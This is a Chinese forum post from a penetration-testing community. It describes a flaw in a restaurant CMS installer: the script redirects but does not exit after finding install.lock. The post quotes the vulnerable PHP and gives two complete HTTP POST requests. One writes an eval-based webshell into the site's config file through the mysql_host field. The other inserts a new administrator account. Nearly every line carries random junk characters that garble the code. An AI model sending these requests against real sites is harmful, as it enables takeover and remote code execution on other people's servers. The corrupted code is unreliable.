中国网络渗透测试联盟

标题: 口福科技餐厅cms漏洞(可getshell) [打印本页]

作者: admin    时间: 2012-12-4 11:13
标题: 口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 \# R, l  s/ t" ?+ x& d$ i9 q( r; M1 k
<?php
8 q+ D0 L+ \" Q/ I) j; W/ dif(file_exists("../install.lock"))6 H2 f6 l$ i( \  s3 h3 [
{
# ]: O+ S5 i! v* V- A" ~    header("Location: ../");//没有退出
8 I0 a" i" h% l( n) B% l5 s}  ^. a/ _: e7 F
               
3 D  y3 S/ \$ `//echo 'tst';exit;
* V( {# `1 {" i. drequire_once("init.php");& r0 i' v4 i9 h' p0 c: F& W
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)0 T0 A5 B3 n- v1 ]7 r
{; W' U& D* d$ K$ U% D
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
# a. K7 }/ _* H+ E! |; N4 N
2 G- I( i9 I' x. a" g1、getshell(很危险)6 ~8 c& j1 V4 ~) T" {/ t
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
8 x. ~2 F( T6 b2 c2 Y, x{
" K& r  y3 H1 [9 W( p$ v/ ~" k) k$smarty->assign("step",1);
& c% x$ [: }  B- ~6 E- L( O$ j% D  H6 Z$smarty->display("index.html");
) d& I3 z8 I' W0 I9 s6 s6 X3 H}elseif($_REQUEST['step']==2)
( ^& b+ n* D  o( p! R{" h: K* `: `* @+ J/ ]6 c
    $mysql_host=trim($_POST['mysql_host']);( R: I6 U, N" A9 X! P& ?& w! G1 _
    $mysql_user=trim($_POST['mysql_user']);7 A# N6 W: Z, V2 }5 f. h
    $mysql_pwd=trim($_POST['mysql_pwd']);
* A4 _0 a3 m7 P' P    $mysql_db=trim($_POST['mysql_db']);
3 |& |2 z$ Y" k5 Y- o* @    $tblpre=trim($_POST['tblpre']);
3 z" W  l! y. `$ q0 \% Q' t. @    $domain==trim($_POST['domain']);% i3 ]1 Z; W1 c- |1 S* h2 u, m/ T, @8 U
    $str="<?php \r\n";) c5 Y- ?- N1 u6 ^
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
( W2 S' s* v2 u# t3 C0 z7 ~! k: `    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";' B( x( K  J# r, `/ A
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
+ J- |8 j: y$ y    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";" c6 x! A2 m! F/ r1 N# L2 ^* d
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";. V: z/ T4 y' a, s4 i% P
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";6 x4 v( x/ I% y7 Z1 A1 o% h# `5 Q
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";9 N$ [% e9 [: ^" u& j: b8 ?
    $str.='define("SKINS","default");'."\r\n";
; O: E' {3 u* A; P0 o) n    $str.='?>';
8 I* z/ m( d8 F8 j7 m    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件7 T& }& l% q3 n: R
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
! S7 L. b* T" gPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 O9 R, s; \2 Y+ D+ ?4 ~Host: 192.168.80.129
9 W7 {" \7 u% j: Y1 ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0- b2 S  N! E6 S- a" H- Q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
! K& O' y0 k; x9 [8 nAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( D& P1 s4 `7 S( W, t6 K  IAccept-Encoding: gzip, deflate
) @) ?0 U3 n  MReferer: http://192.168.80.129/canting/install/index.php?step=1
( J; ?) ~$ G, x" |1 Y/ PCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42! R* L" A) T, i6 ]
Content-Type: application/x-www-form-urlencoded
' I7 ?5 o) r% @5 e1 ^0 o7 k2 ^  HContent-Length: 126
: K( r* {, x0 e' B" c2 C$ y          6 x6 \  [- B* K1 a
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD( v$ z; P- Y( m4 M5 l
但是这个方法很危险,将导致网站无法运行。
0 C) q  }& Y% l" M4 A5 P9 j& E% Q* N
2、直接添加管理员
# v, C' H# i+ g3 o3 l- ~! `
$ _8 }+ [; D, N, F& `4 W* eelseif($_REQUEST['step']==5)& W! Y) D: N& @6 Y
{; ^& a9 G0 b4 S5 g- f
    if($_POST)
* Y8 C/ r0 Z# i7 S- B; \    {   require_once("../config/config.inc.php");; t0 l' X' u* T& e: T1 n9 D
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);4 e4 f3 z/ D' m
        mysql_select_db(MYSQL_DB,$link);, X5 }6 h8 J0 A: g9 A+ x
        mysql_query("SET NAMES ".MYSQL_CHARSET );
: V, a( L% _7 r- b) I7 A  I         mysql_query("SET sql_mode=''");' @/ ], F6 a+ y' \0 `% y0 c& _

) G* Z( L0 e5 l* N' f $adminname=trim($_POST['adminname']);
% [( T7 _4 h2 e( P; K        $pwd1=trim($_POST['pwd1']);/ C! K1 [9 [# R/ h' }. [0 M2 }7 {
        $pwd2=trim($_POST['pwd2']);; D. }5 ^. t% P4 Y7 H
        if(empty($adminname))
- k& a" _  C2 {0 h* h& _        {
# {9 @/ B. l7 c/ \: D$ S7 _8 H! j6 m" B3 n% P2 y9 v( x, _1 p- o- d3 p
echo "<script>alert('管理员不能为空');history.go(-1);</script>";, ~1 D) E) h6 F! v% J5 I# E- F
            exit();- T. y! @) k! Y( V+ E
        }2 i: S% S5 S, E) d" d
        if(($pwd1!=$pwd2) or empty($pwd1))
6 R3 k5 B# `3 |        {
3 t" p; ^8 ~! n) C            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
5 O0 `" f% D. G( Z2 F" {        }& |9 A; `8 K0 H8 a; I, c  x
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员) r( o8 H, f. {: H  g9 r
    }8 N3 P$ m; T, K$ \0 b. P
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
9 n7 \/ ^3 Y6 [8 I. WPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
/ p6 a+ J6 d* r7 iHost: 192.168.80.1299 m  ]1 q1 m# Z1 |/ W+ R+ l
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0* |* F  N" u7 P
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8$ i! J, K# Z! l
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
5 |2 B& D0 J) O# VAccept-Encoding: gzip, deflate  C! P! C6 a) D" A# ?
Referer: http://www.2cto.com /canting/install/index.php?step=1/ m: M0 z4 ]2 O
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
9 \  I0 v: ~0 h+ Z$ Y5 J2 O/ tContent-Type: application/x-www-form-urlencoded
$ e  J8 P. [3 K; j/ w3 QContent-Length: 46+ @- h! k6 X3 k% @
      " j" n5 p' A* [% h/ r
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
8 Z7 U0 Y4 n6 P- w5 \1 V; Y. p




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2